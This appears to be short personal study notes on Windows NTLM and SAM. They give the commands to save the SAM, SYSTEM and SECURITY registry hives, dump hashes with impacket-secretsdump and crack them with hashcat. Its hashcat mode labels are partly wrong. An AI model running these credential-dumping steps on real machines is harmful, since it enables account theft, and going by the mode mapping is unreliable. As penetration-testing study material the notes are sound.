---
# System prepended metadata

title: NTLM
tags: [tools, NTLM, windows, SAM]

---

###### tags: `tools` `NTLM` `windows` `SAM`
# NTLM
## 

## 參考
https://atsud0.me/2022/03/07/%E3%80%90%E5%9F%9F%E6%B8%97%E9%80%8F%E3%80%91%E6%B5%85%E6%B7%A1NTLM-%E5%86%85%E7%BD%91%E5%B0%8F%E7%99%BD%E7%9A%84NTLM%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

# SAM
## [獲取並解析SAM](https://www.bordergate.co.uk/extracting-windows-credentials-using-native-tools/)
### 從註冊表中儲存所需資料
```
reg save HKLM\sam sam.save
reg save HKLM\system system.save
reg save HKLM\security security.save
```
### 解析
1. secretsdump
`impacket-secretsdump -system system.save -sam sam.save -security security.save local`
系統輸出
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
將整段hash儲存至sam.txt
`echo [uid:rid:lmhash:nthash] > sam.txt`
2. hashid 
    查看hash的詳細資料
    `hashid [hash]`
4. [hashcat](https://hashcat.net/wiki/)
選擇模式5600(NTLMv2)，1000為NTLMv1
`hashcat  -m 5600 sam.txt /usr/share/john/password.lst`
hashcat example搜尋
`hashcat --example-hashes | less`
